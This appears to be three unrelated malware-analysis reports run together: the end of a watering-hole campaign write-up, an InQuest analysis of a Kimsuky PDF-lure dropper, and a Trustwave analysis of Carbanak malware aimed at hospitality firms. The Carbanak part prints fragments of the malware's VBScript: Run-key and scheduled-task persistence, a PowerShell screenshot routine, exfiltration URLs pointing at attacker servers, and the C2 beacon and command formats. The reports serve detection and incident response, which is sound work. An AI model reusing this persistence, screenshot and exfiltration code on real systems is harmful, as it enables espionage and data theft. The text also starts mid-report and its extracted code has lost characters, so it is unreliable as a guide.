Domain First Seen Last Seen IP Address wmi.ns01[.
]us 2012-07-03 2012-07-04 194.183.224.75 ids.ns01[.
]us 2012-04-23 2012-05-18 194.183.224.75 The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.
]be).
In this case, visitors were redirected from www.ceps[.
]be to a Java exploit hosted on shop.fujifilm[.
]be.
In what is certainly not a coincidence, we also observed www.arce[.
]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.
]be in 2013.
Conclusion This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues.
The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.
This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems.
Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid- term.
http://www.fireeye.com/blog/wp-content/uploads/2014/02/greedywonk-campaign-v2.png
1/9 Kimsuky Espionage Campaign inquest.net/blog/2021/08/23/kimsuky-espionage-campaign A few days ago, we found an exciting Javascript file masquerading as a PDF that, upon activation, will drop and display a PDF (to maintain the ruse) as well as drop an executable.
The document is a lure for the Korean Foreign Ministry document and its newsletter.
The same attack was reported earlier by Malwarebytes in June.
Apparently, the threat actor behind this campaign is still using this infrastructure and infection technique.
File Type Javascript Sha 256 20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd Size 27.31 MB (28634023 bytes) Image 1: Document images when opened Image 2: Virustotal The document shows shallow detection on the VT service.
At the beginning of the check, the detection showed 3/58.
We found this very interesting, so we decided to delve deeper into the study of its technical composition.
https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign https://blog.malwarebytes.com/threat-intelligence/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/ https://www.virustotal.com/gui/file/20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd/detection 2/9 Image 3: Opening the document in a Hex editor, we see that it is filled with data that is encoded in Base64.
In order to continue our study, it is necessary to extract this data to see what it contains.
Also, in the tail of the file we find the executable code, which will run when opened.
Image 4: Embedded PowerShell code To ease research efforts, we present the previously mentioned executable code in a more human-readable format.
3/9 Image 5: PowerShell Script In Image 5, you can see that the program will launch Adobe Reader, decode the Base64 payload, and run it in stealth mode.
But to understand what it launches, we need to extract the payload from the script.
As a reminder, the file size is 27.31 MB, which is quite large, not a small effort for manual data retrieval.
Therefore, the easiest way is to write a simple Python script to find Base64 encoded blocks and decode them.
Image 6: Base64 encoded data blocks 4/9 Image 7: Base64 data import sys, base64 def openfile (s): sys.stderr.write(s  \n) sys.stderr.write(Usage: sinfileoutfile\n  sys.argv[0]) sys.exit(1) def base64Dec(dump,result): result  base64.b64decode(dump) return(result) if __name__  __main__: if len(sys.argv)  3: openfile(invalid argument count) outfile  sys.argv.pop() infile  sys.argv.pop() file  open(infile,rb) dump  bytearray(file.read()) result  bytearray(len(dump)) opendata  base64Dec(dump,result) new  open(outfile,wb) new.write(opendata) new.close() file.close() We can extract the data and decode it with a small Python script as a result, we were able to retrieve two files from the encoded string.
Sha 256 3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea File Type PDF Size 20.23 MB (21214792 bytes) File 1 If we take a close look at the first file (3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea) , it is clear that it is legitimate and does not represent any malware load.
It was uploaded to VirusTotal on May 27 of this year.
Obviously, it is used here as a lure to hide malicious actions at runtime.
The second file we received is also data encoded behind two layers of Base64.
https://www.virustotal.com/gui/file/3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea/detection 5/9 Image 8: The second data block is Base64 encoded twice Sha 256 0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 File Type DLL x64 Size 190.00 KB (194560 bytes) File 2 Executable library packed with UPX.
But unpacking this sample is not very difficult.
And so we got the payload.
Sha 256 ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 File Type DLL x64 Size 474.50 KB (485888 bytes) File 2 unpacked The executable is a Kimsuky espionage tool.
Image 8: Extensions for document search The malicious document looks for documents(.hwp, .pdf, .doc, .xls, .ppt, .txt) in all directories, including USB drives, with the aim of stealing them.
\REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce \REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\ESTsoftAutoUpdate regsvr32.exe /s \C:\\ProgramData\\Software\\ESTsoft\\Common\\ESTCommon.dll\ The program creates the following registry keys.
Thus, after each start of the system, the library will be restarted.
Image 9: Keylogger Artifacts We see the unique strings that the keylogger uses to record the data entered by the user.
We find a lot of encrypted strings in the executable file.
https://www.virustotal.com/gui/file/0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6/detection https://www.virustotal.com/gui/file/ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5/detection 6/9 Image 10: Encrypted strings We managed to decipher all these lines.
Here are some of the most interesting ones.
Wind.d.dx64 temp .bat \r\n    :repeat\r\n    del s\r\n    if exist s goto repeat\r\n    del f0 d-02d-02d_02d-02d-02d-03d kernel32.dll SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ConsentPromptBehaviorAdmin PromptOnSecureDesktop SeDebugPrivilege  \r1 regsvr32.exe .zip .enc .tmp list.fdb KeyboardMonitor ScreenMonitor FolderMonitor UsbMonitor 0602000000A4000052534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309D570ADB6EEA7CACB5A59A489B9E4B8D80 7/9 1B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF7 7DAD7B50F44B43DA8F1326E64C53DAA51807A02751E2 0702000000A400005253413200040000010001006D4582142BA47753E19FF39DBF232B7BAEE5141CC59AB328CA25EC21BEF955FE091F90B8FF3C3D8CD00973E3 PDF-1.7..4 0 obj User32.dll SetProcessDPIAware 2.0 bs/?map1sp2s-s-vs.d cache list.ldb GetProcAddress Downloads Documents AppData\\Local\\Microsoft\\Windows\\INetCache\\IE flags Mozilla/5.0 (Windows NT 10.0 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Powershell.exe start-process regsvr32.exe -argumentlist \ AppData\\Local\\Microsoft\\Windows LoadLibraryA LoadLibraryW CreateProcessW GetTempFileNameW GetTempPathW CopyFileW MoveFileExW CreateFileW DeleteFileW Process32FirstW Process32NextW CreateMutexW GetModuleHandleW GetStartupInfoW OpenMutexW FindFirstFileW FindNextFileW GetWindowsDirectoryW 8/9 GetVolumeInformationW GetModuleFileNameA CreateProcessA GetTempFileNameA GetTempPathA CopyFileA URLDownloadToFileA URLDownloadToFileW urlmon.dll InternetWriteFile InternetCloseHandle InternetReadFile InternetSetOptionExA HttpSendRequestA AdjustTokenPrivileges texts.letterpaper.press / Software\\ESTsoft\\Common S_Regsvr32 SpyRegsvr32-20210505162735 powershell.exe start-process regsvr32.exe -argumentlist \/s s\ -verb runas ESTCommon.dll Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce ESTsoftAutoUpdate Debug lines: minkernel\\crts\\ucrt\\inc\\corecrt_internal_strtox.h IoCs hxxp://texts.letterpaper[.
]press Javascript files 20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd e5bd835a7f26ca450770fd61effe22a88f05f12bd61238481b42b6b8d2e8cc3b a30afeea0bb774b975c0f80273200272e0bc34e3d93caed70dc7356fc156ffc3 0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 Unpacked library.
Kimsuky Spy.
0A4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 Unpacked library.
Kimsuky Spy.
ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 9/9 Tags malware-analysis threat-hunting https://inquest.net/taxonomy/term/4 https://inquest.net/taxonomy/term/2
New Carbanak / Anunak Attack Methodology www.trustwave.com /Resources/SpiderLabs-Blog/New-Carbanak-/-Anunak-Attack-Methodology/ Posted By Brian Hussey In the last month Trustwave was engaged by two separate hospitality clients, and one restaurant chain for investigations by an unknown attacker or attackers.
The modus operandi for all three investigations were very similar and appear to be a new Carbanak gang attack methodology, focused on the hospitality industry.
Carbanak is a prolific crime group, well known for stealing over one billion dollars from banks in 2015 (Kaspersky estimated loss) and more recently orchestrating an attack on the Oracle Micros POS support site that put over one million Point of Sale systems at risk.
The current investigations are still underway but the known indicators of compromise in these new attacks will be presented below.
At the time of investigation this malware was not correctly detected by any existing antivirus engines, and domains / IPs were not found in any commercial threat intelligence feeds.
It is also interesting to note that just during the time that it took to write this blog, Carbanak returned to their victims with significantly upgraded malware.
This demonstrates the speed and versatility of this threat group.
We have included analysis for two separate versions of AdobeUpdateManagementTool.vbs in this report.
(
The malware used following the initial infection) Version two arrived only two weeks after we began investigating this new campaign.
Attack Vector The attacks began via social engineering.
An attacker called the customer contact line saying that they were unable to use the online reservation system and requested to send their information to the agent via email.
The attacker stayed on the line until the agent opened the attachment contained in the email and hung up when his attack was confirmed successful.
The email attachment was a malicious Word Document that contained an encoded .VBS script capable of stealing system information, desktop screenshots, and to download additional malware.
A screenshot of the malicious Word document is shown below.
The malicious VB Script will use macros to search for instances of Microsoft Word running on the system, if found, it will clear the existing text and replace it with the following text.
The victim system will then reach out to http://95.215.47.105 to retrieve additional malware called AdobeUpdateManagementTool.vbs.
AdobeUpdateManagementTool.vbs - Indicators of compromise: File name: adobeupdatemanagementtool.vbs SHA-1 8d7c90a699b4055e9c7db4571588c765c1cf2358 (Version 1) SHA-1 a91416185d2565ce991fc2c0dd9591c71fd1f627 (Version 2) Creates folder: temp\WindowsUpdate Creates folder: temp\WindowsUpdate_\Dropebox Adds file to WindowsUpdate folder: vbs Adds persistence mechanism to the CURRENT_USER registry hive in the CurrentVersion\Run and CurrentVersion\RunOnce keys to autostart AdobeUpdateManagementTool.
A scheduled task is created named SysChecks which calls the vbs A service is created named ADOBEUPDTOOL which calls the AdobeUpdateManagementTool.vbs The malware drops a Shockwave Flash icon and disguises itself as such.
1/14 https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Carbanak-/-Anunak-Attack-Methodology/ https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2388208970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb0951b4d2970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d23939ea970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6b38970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6d3d970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb09526863970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb0952687c970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2393cee970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2393cf6970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb095268ac970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb095268ba970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6e3e970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6e43970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2393d3c970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb095268e2970d-pi The malware contacts the following and may attempt to download doc: http://revital-travel.com/cssSiteteTemplates http://juste-travel.com/cssSiteteTemplates http://park-travels.com All domains resolve to the same IP address (192.99.14.211) http://95.215.46.249 179.43.133.34 The malware may report to the following command and Control Servers, depending on the version used in the attack: http://148.251.18.75 http://95.215.46.221 http://95.215.46.229 http://95.215.46.234 http://81.17.28.124 This malware was capable of stealing significant system and network information.
It was also used to download several other reconnaissance tools to map out the network.
Downloaded tools have included Nmap, FreeRDP, NCat, NPing, and others.
Two files of significance, el32.exe and el64.exe, are privilege escalation exploits for 32 and 64 bit architectures.
Their hashes are as follows: el32.exe SHA1: 83D0964F06E5F53D882F759E4933A6511730E07B el64.exe SHA1: CF5B30E6ADA0D6EE7449D6BDE9986A35DF6F2986 This malware was primarily responsible for the reconnaissance stage of the attack.
However, it also downloaded additional malware that enables the next stage of the attack and could execute powershell scripts on command.
Beaconing - AdobeUpdateManagementTool.vbs We have seen slightly different data beaconing methodologies over the different attacks, but the general approach has remained the same.
Beaconing messages are sent out to 179.43.133.34 via standard HTTP GET requests every 5 minutes.
Using this simple methodology allows the beaconing to hide very well within standard corporate network traffic.
The content of the GET request is encoded with Base64 and secondarily encrypted with RC4.
Trustwave has written a specialized decoder for this traffic and it can be obtained upon request.
The innocuous nature of this traffic allows it to be stealthy in a corporate network, however, its uniformity of structure also allows analysts to identify it relatively quickly as well.
Security staff can identify beaconing traffic using the following technique.
The network packet times of the GET requests originating from a compromised host occur almost exactly every 300 seconds (5 minutes).
No web content is ever returned from the GET request except for code 200 OK, as shown below.
(
Please note that the namevalue pairs have been snipped for confidentiality reasons): GET /random_param_name.jsp?qqksqMTgzLTIyIDhBIDkwI IDNFIDYwIDZCIDU4IEJFIDZCIENFIDY3kfb4mzMTgzLTIyIDhBIDkwIEV  IDBGIDUyIDZDIDhFxzn8MTgzLTIyIDhBIDkwIEVGID DUyIDZDIDhF HTTP/1.1 Connection: Keep-Alive Keep-Alive: 300 Content-Type: application/x-www-form-urlencoded Accept: / User-Agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset: utf-8 Host: 179.43.133.34 2/14 https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d23882f1970c-pi HTTP/1.1 200 OK Date: Tue, 08 Nov 2016 20:12:05 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.45-0deb7u2 Vary: Accept-Encoding Content-Length: 0 Keep-Alive: timeout5, max100 Connection: Keep-Alive Content-Type: text/html The purpose of the GET request, with nothing coming back except the 200 code, is to phone home so the attacker knows the compromised system is available for further exploitation.
To locate these specific GET requests you can use the following regular expression as an initial filter: grep -E GET /[a-z]1,4[a-z0-9]1,6\.jsp\?
log.txt Full analysis of this malware can be found later in this report.
Second Stage  Carbanak / Anunak Malware: Filename: bf.exe SHA1: 3d00602c98776e2ea5d64a78fc622c4ff08708e3 This malware executes a new iteration of svchost.exe and injects its malicious code into this running process.
This hides the malware within the svchost.exe process.
(
Warning- our analysis has shown that some antivirus firms incorrectly identify this file as ransomware.)
It then drops a pseudo-randomly named configuration file into the ProgramData\Mozilla folder.
This files name is base64 encoded and based on the infected systems MAC code, so identifying it by name will be challenging.
However, it does always have a .bin extension.
Any recent file in this folder with a .bin extension may be suspect.
It then searches Kaspersky antivirus processes and terminates them if running on the victim system.
For persistency, it registers itself as a service with the following details: Service name: RpcSsSys (this name is random, may vary on different system) Path: C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe Display name: Emote Procedure Call (RPC) It then proceeds to download kldconfig.exe, kldconfig.plug, and runmem.wi.exe.
These tools are all well-known Carbanak malware and variations of them were used in the banking intrusions that made them famous in 2015.
Additionally, the decrypted string references anunak_config which is the encrypted configuration file that it downloads from its control server.
The Anunak crime group is generally believed to be synonymous with Carbanak.
This malware is very multi-functional as it can enable remote desktop, steal local passwords, search users email, target IFOBS banking systems (which Carbanak used so effectively in recent banking attacks), or install completely different remote desktop programs, such as VNC or AMMYY.
Full details on this malwares functionality is included later in this report.
Finally, this malware, like so many others, is designed to target credit card data by scraping memory on Point-of-Sale systems.
This leaves little doubt as to its end goal on victim systems.
The attacker uses social engineering to gain their foothold in the victim network, downloads reconnaissance tools to scan the network and move laterally into the card holder data environment, and then infects systems able to process 3/14 card transactions.
Exfiltration  bf.exe This malware provides the attacker remote command and control of the victim system via a multifunctional backdoor capability.
It communicates via an encrypted tunnel on port 443 with the following IP addresses: 5.45.179.173 92.215.45.94 These are also the destinations that stolen data will be exfiltrated to.
This malware may steal credit card data, as well as screen captures, keylogger information, email addresses from the PST file, enable RDP or VNC sessions, or to obtain additional system information.
All exfiltrated information is encrypted with base64RC2 and sent via HTTP POST messages.
If you identify any of these IoCs on your network, you should contact a Trustwave account representative immediately, or reach out directly to the Trustwave SpiderLabs IR team at our 24-hour hotline: 24hr Hotline 1 (866) 659-9097 Option 5 International: 1 (312) 873-7500, Option 4 Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.
Vbs (Version 1) Summary The file is OLE compound file format that contains an embedded .VBE (encoded VBS) script.
The dropped script is capable of stealing system information, desktop screenshots and to download / execute additional malware.
Analysis The encoded VBScript is embedded in OLE compound file.
4/14 When the malicious document file is opened, the embedded VBScript (VBE) file is dropped in the Windows temp folder.
The Loader VBScript The dropped VBE file is a loader script that drops, installs and executes a second layer VBScript payload in the victims system.
It creates a folder named WindowsUpdate_ in the Windows temp directory, If the folder already exists, it will create the folder in the parent directory where the script resides.
SSCripTdirsh.
ExpanDEnvirOnmentStrings(TMP)\WindowsUpdate_ IF not fso.
FoldErEXIstS(sScriptdiR)Then fso.
CReatefOlder SScriptDir End IF Err.
Clear If NoT fso.
FolderExiSTs(SSCriptDir)THen sScriptDirfso.
GetParentFolderName(Wscript.
ScriptFulLName)\WindowsUpdate_ If NoT fso.
FOlderExiSts(SScriptDir)THen fso.
CReAteFolder sscriptDir A registry key is created that points to the Loaders directory sh.
RegWriTeHKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\LdrPath,sScriPtdIr,REG_SZ The second VBScript payload is embedded in the loader script as a Base64 string: The loader script decodes the base64 string.
This is then saved to a file named AdobeUpdateManagementTool.vbs into the \WindowsUpdate_ folder.
Dim run_Pth_scR run_pth_scrldrpath\AdobeUpdateManagementTool.vbs dim RUn_Pth A persistence registry key is also created by the loader script: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateManagementTool On ErrOr Resume NExt sh.
RegWrIteHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateManagementTool,run_pth,REG_SZ ErR_NUmBererr.number If Err_nuMber0 Then cerr1.ErrAddError I-9,0 Err.
ClEar End If On Error Resume next sh.
RegWriteHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\AdobeUpdateManagementTool,ruN_ptH,REG_SZ Err_NumbereRr.number The loader script adds a scheduled task with a task named SysChecks.
The purpose of this scheduled task is to run the payload script (AdobeUpdateManagementTool.vbs) in every 5 minutes sh.
Runschtasks /create /tn SysChecks /tr run_pth /sc minute /mo 5,0,falSe A SWF icon file is also dropped in the folder in order to disguise the dropped file as a Shockwave Flash file: A shortcut file is also added in the Windows startup folder as AdobeUpdateManagementTool.lnk Set LinKSTartsh.
CreateShoRTcuT(SPath\AdobeUpdateManagementTool.lnk) With LinksTart LinksTart.
ArGuMeNtsruN_pth_scr .dEsCriptionAdobeUpdateManagementTool .HoTKeYCTRLX .IconLocationico_Filename .TargEtPathwscRipt_pThPaTH .WiNdoWStyle7 .WorkinGdirectorysh.
ExpandEnvironmEntStrings(windir\System32) .SaVe The Payload Script The payload script is dropped in the temp\WindowsUpdate_ as AdobeUpdateManagementTool.vbs.
The script uses obfuscation, a combination of base64 and integer-ed characters (chr) to hide malicious code.
5/14 Example of obfuscation: (F9lornwzv1(cnVuZGxsMzIga2U)    chr(29  85)  chr(81  29)  chr(-42 143)  chr(-76  184)  chr(-20  71)  chr(-51  101)  chr(67  -23)  chr(70  13)  chr(-57  165) chr(50  51)  chr(-67  168)  chr(53  59)  ) The payload script checks if the following folder exists otherwise it creates it: AllUsersProfile  \Dropebox  (for example in Windows 7 system: C:\ProgramData\DropeboxJoePC).
This is where it stores additional script files and stolen data: dim EZ0uaqbfk9m: EZ0uaqbfk9m  EY4hrd8cuo.
ExpandEnvironmentStrings(USERNAME) EZ0uaqbfk9m  DT6zmqx4fb( EZ0uaqbfk9m ) FA1pcr7i8c3z  ldrpath  \Dropebox  EZ0uaqbfk9m The payload has the following functionality: Steal system information System Name System Manufacturer System Model Time Zone Total Physical Memory Processor System Type Processor BIOS Version Networking information Computer name Domain User name Desktop screenshot A powershell script (filename: screenshot__.ps1) is created to screenshot victims desktop.
Desktop screenshot routine, dropped as a powershell ErrorActionPreferencestop try [Reflection.
Assembly]::LoadWithPartialName(System.
Drawing) function screenshot([Drawing.
Rectangle]bounds, path) bmp  New-Object Drawing.
Bitmap bounds.width, bounds.height graphics  [Drawing.
Graphics]::FromImage(bmp) graphics.
CopyFromScreen(bounds.
Location, [Drawing.
Point]::Empty, bounds.size) bmp.
Save(path) graphics.
Dispose() bmp.
Dispose()  ScriptDir Split-Path script:MyInvocation.
MyCommand.
Path pth  ScriptDir  \screenshot__.png bounds [Drawing.
Rectangle]::FromLTRB(0, 0, 1500, 1000) screenshot bounds pth catch Downloaded malicious executable It may also be able to receive additional malware executables and install them on the victims computer.
Terminate Processes The payload is also capable of terminating processes.
Network The malware sends stolen data to the following URI: urlArry(0)  http://95.215.46.249 urlArry(1)  http://revital-travel.com/cssSiteteTemplates urlArry(2) http://juste-travel.com/cssSiteteTemplates The data is sent as a data encrypted with RC4 and Base64 It is sent via an HTTP POST tunnel to the attackers server.
POST /random_param_name.jsp?
xz2qMjgtQUIgMTEgRDYgMEYgMTggNTYgNEUgRDQgODYgQTEgNUQgOTAgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzIhwhv50mMjgtQUIgMTEgRDYgMEYgMDQgNDkgNzQgQkMgQUUgRkMgNUEgOTcgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzIcfcch9sMjgtQUIgMTEgRDYgMEYgMUYgNTQgMTcgQkQgODIgODQgNTUgQzkgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzI HTTP/1.1 Connection: Keep-Alive Keep-Alive: 300 Content-Type: multipart/form-data boundaryeb3d0b5d91fbde4d7a58ef5b9c954051 Accept: / Accept-Language: en-us User-Agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset: utf-8 Content-Length: 7274 Host: 95.215.46.249 Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.
Vbs (Version 2) Summary 6/14 This file is written in VBScript.
It can receive commands from the attacker to download and execute EXE files, VBScript, or Powershell script files.
Exfiltrated data is sent to the attackers IP addresses through an HTTP POST tunnel Analysis Upon execution AdobeUpdateManagementTool.vbs will query the process in the infected system if it is already running, if an existing instance of the script is already running, it will quit, otherwise it will proceed.
It then attempts to read the following registry key: HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CC - Computer Count The script then generates a unique identifier, using the following format: md_id - l_ver - ptrtr - compCountwhere: md_id - XORed Computer name and MAC Address.
l_ver - hard coded in the malware script e.g.
Dim HH5hjs54j69a: HH5hjs54j69a  1 ptrtr - hard coded in the malware script e.g Dim HI0cvexizqw: HI0cvexizqw  2 compCount - value from the registry key: HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CC, default value is the string NO The malicious script checks if the following folder exists otherwise it creates it: AllUsersProfile  \Dropebox  username for example in Windows 7 system C:\ProgramData\DropeboxJoePC The following files will be dropped under this Folder, these files are only created if required by the command sent by the attacker: 1.
screenshot__.ps1 - a powershell script that takes screenshots of the active desktop 2.
screenshot__.png - the screenshot image 3.
exe__.exe - an executable file sent by the attacker 4.
vb__.vbs - a VBscript sent by the attacker 5.
ps1__.ps1 - a Powershell script sent by the attacker 6.
insatller.vbs - updater script sent by the attacker Every time this script is executed, it requests commands from the Attackers control server using HTTP GET request.
GET /random_param_name.jsp?pIdunique ID md_idMD5 hash of the current Date  Time - this is encrypted in RC4 with hardcoded key and Base64.
The GET parameters may also be iterated up to 3 times.
User-agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset:utf-8 Connection: Keep-Alive Keep-Alive:300 Content- Type: application/x-www-form-urlencoded The script receives three types of information from the GET request: id  the unique ID of the infected system (md_id) cmd  MD5 hash of the attackers command cmduniq  contains a value that signifies that this command is unique The commands sent by the attackers are in MD5 hash, this is a anti-analysis technique.
Here are the command hashes that the attacker may send: COMMAND HASH (MD5) DESCRIPTION info caf9b6b99962bf5c2264824231d7a40c Retrieves system information.
See below for the detailed information and exfiltration method.
proc 6844acdce7e192c21c184914d73ab6be Retrieves all running process.
scrin e3b523c3cf36e1e0f64fec6ac6ac3ff7 Takes screenshot of desktop.
This command drops and executes the file screenshot__ps1 and the image is saved to screenshot__.png.
The image is then sent to the control server IP address via an HTTP POST tunnel 7/14 exe 98e83379d45538379c2ac4e47c3be81d The attacker sends this command with an accompanying executable file that is saved to a file called exe__.exe.
This is then executed and after 10 seconds this file will be deleted.
vbs b3720bcc7c681c1356f77ba9761fc022 The attacker sends this command with an accompanying VBScript that is saved as vb__.vbs.
The script is executed and the result returned by the script is saved to a temporary file in the Windows temp folder.
The results are sent to the control server through an HTTP POST tunnel (see exfiltration detail below).
Both resulting files are deleted after the execution.
Note: the results are encoded in Base64 with the following text format: type: vbs time: currrent time result: result details update 3ac340832f29c11538fbe2d6f75e8bcc This command receives an accompanying VBScript updater.
This script is saved to insatller.vbs and then executed, it then uninstalls its old version.
The file is deleted 10 seconds after execution.
ps1 9ffb800e76372160cbb02415dccd7dec the attacker sends this command with an accompanying Powershell script that is saved to ps1__.ps.
The script is executed and the result is returned by the script and is saved to a temporary file in the Windows temp folder.
The result is sent to the control server through HTTP POST tunnel (see exfiltration detail below).
Both files are deleted after the execution.
Note: the results are encoded in Base64 with the following text format: type: ps1 time: currrent time result: result details dll 06416233fe5ec4c5933122e4ab248af1 This command did not function in this version of the malware.
delete 099af53f601532dbd31e0ea99ffdeb64 Removes the service running this script by running this command cmd.exe /c sc delete ADOBEUPDTOOL.
(
This Service was installed by the dropper of this script.
).
It then deletes this script.
scrrunr cbd22ed4f5cd88afcfeae0cfc80ed482 Not actually a command, but somewhat an indicator that will be sent to the control server each time a script is executed.
The malware checks for the following registry key if the command has the same cmduniq value.
If it is the same, it terminates the script, otherwise it writes the cmdunig value to this registry key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\c_last Following is the System information sent to the control server when the command INFO is received from the attacker.
OS Name Version Service Pack OS Manufacturer Windows Directory Locale Available Physical Memory Total Virtual Memory Available Virtual Memory System Name System Manufacturer System Model Time Zone 8/14 Total Physical Memory Processor System Type Processor BIOS Version Computer name Domain User name This system information is also stored in this registry key: HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CLM The result data is exfiltrated after each attackers command is executed.
This is sent as a HTTP POST request to the control server.
POST /random_name.jsp?pIdunique ID md_idMD5 hash of Date  Time Now - this is encrypted in RC4 with hardcoded key and Base64.
The POST parameters may also be iterated up to 3 times.
User-agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset:utf-8 Connection: Keep-Alive Keep-Alive:300 Content-Type: multipart/form-data boundaryRandom MD5 hash The HTTP POST uses the body format below: --random MD5 hash Content-Disposition: form-data namerandom name unique ID and current Date/Time Hash - encrypted with RC4 and Base64 --random MD5 hash Content-Disposition: form-data namerandom name pPar1cunique ID encrypted with RC4 and Base64 --random MD5 hash Content-Disposition: form-data namerandom name pPar2ccommands MD5 Hash encypted with RC4 and Base64 --random MD5 hash Content-Disposition: form-data namerandom name pPar3cResults/Data/StolenInformation encypted with RC4 and Base64 After executing the command and exfiltrating the data, the malware sleeps for 3- 5 minutes (depending on the configuration hard-coded in the script) then loops to request the command again.
